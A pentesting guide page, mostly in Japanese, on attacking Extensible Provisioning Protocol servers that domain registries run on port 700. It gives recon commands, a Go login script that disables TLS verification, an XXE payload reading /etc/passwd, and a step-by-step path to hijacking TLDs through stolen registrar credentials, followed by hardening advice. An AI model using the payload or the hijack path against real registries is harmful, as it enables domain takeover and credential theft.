700 - Pentesting EPP

Reading time: 8 minutes

基本情報

Extensible Provisioning Protocol (EPP) は、ドメイン名レジストリおよびレジストラによるドメイン名やその他のインターネットリソースの管理に使用されるネットワークプロトコルです。これにより、ドメイン名の登録、更新、転送、削除プロセスの自動化が可能になり、ドメイン名システム (DNS) 内の異なるエンティティ間で標準化された安全な通信フレームワークが確保されます。EPPは柔軟で拡張可能に設計されており、インターネットインフラのニーズが進化するにつれて新しい機能やコマンドを追加できます。

基本的に、これはTLDレジストラがドメインレジストラに提供するプロトコルの一つです。

ペンテスト

この非常に興味深い記事では、いくつかのセキュリティ研究者がこのプロトコルの実装がXXE (XML External Entity) に対して脆弱であることを発見した様子を見ることができます。このプロトコルはXMLを使用して通信するため、攻撃者が数十の異なるTLDを乗っ取ることを可能にしました。

列挙と偵察

EPPサーバーはほぼ常にTCP 700/tcpでTLSを介してリッスンしています。典型的なデプロイメントでは**相互TLS (mTLS)**も強制されるため、クライアントはレジストリCAによって発行された有効な証明書を提示する必要があります。それにもかかわらず、多くのプライベートテストやプレプロダクションのデプロイメントはその制御を忘れています。

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

サーバーがTLSハンドシェイク後に接続を終了しない場合、認証されていない<hello/>メッセージを送信しようとすることができます：

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

テストに役立つオープンソースクライアント

• epp-client (Go) – 積極的にメンテナンスされており、TCP/TLSおよびEPP-over-HTTPS (RFC 8730) をサポートしています： go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – フuzzingやnucleiスタイルのワークフローのために簡単に計測できる最小限のクライアントライブラリ。
• afq984/php-epp-client – 多くの小規模レジストラによって使用されるPHP実装；コードレビューの便利なターゲット。

Go epp-clientを使用した最小限のログイン+チェックスクリプトの例：

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

一般的な脆弱性と2023-2025年の脆弱性

XXE / SSRFペイロード（多くのJava/Spring実装に対して機能します）

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

When the parser is mis-configured (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true) the file content is returned inside the <resData> structure.

Other typical findings

1. 弱い認証ポリシー – EPPログインパスフレーズが8文字未満; スペックはレート制限を推奨するだけで、強制はしないため、ブルートフォースが可能なことが多い。
2. registryLock / serverUpdateProhibited ステータスの欠如 – 認証後、攻撃者はすぐにNSレコードを更新し、トラフィックを盗むことができる。
3. 署名されていないポールメッセージ – 一部の実装では、ポールQ&Aメッセージに署名を行っていないため、レジストラオペレーターのスプーフィング/フィッシングが可能である。

Attack Path: From Zero to TLD Hijack

1. Discover an EPP endpoint (often hidden behind a generic host like ot&e.<tld>.nic.<cc>).
2. Abuse one of the weaknesses above to gain registrar-level credentials (XXE → SSRF to IMDSv1, credential exfil, or TLS-bypass).
3. Issue <update> requests to change the domain’s hostObj records to attacker-controlled name servers.
4. (Optional) Submit a <transfer> to move the domain to an attacker-controlled registrar – many registries still rely on a single auth-code.
5. Profit: full control of DNS zone, ability to request TLS certificates via ACME.

Defensive Measures & Hardening

• Enforce mTLS with per-registrar client certificates and pin the registry CA.
• Set parserFeature secure-processing=true or equivalent to kill XXE.
• Run continuous fuzzing of the XML parser (e.g., with go-fuzz or jazzer for Java).
• Deploy Registry Lock / server*Prohibited statuses for high-value domains.
• Monitor poll queue for suspicious <transfer> or <update> commands and alert in real-time.
• ICANN 2024 DNS-Abuse contract amendments require registries to prove rate-limit & auth controls – leverage them.

References

• ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
• HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).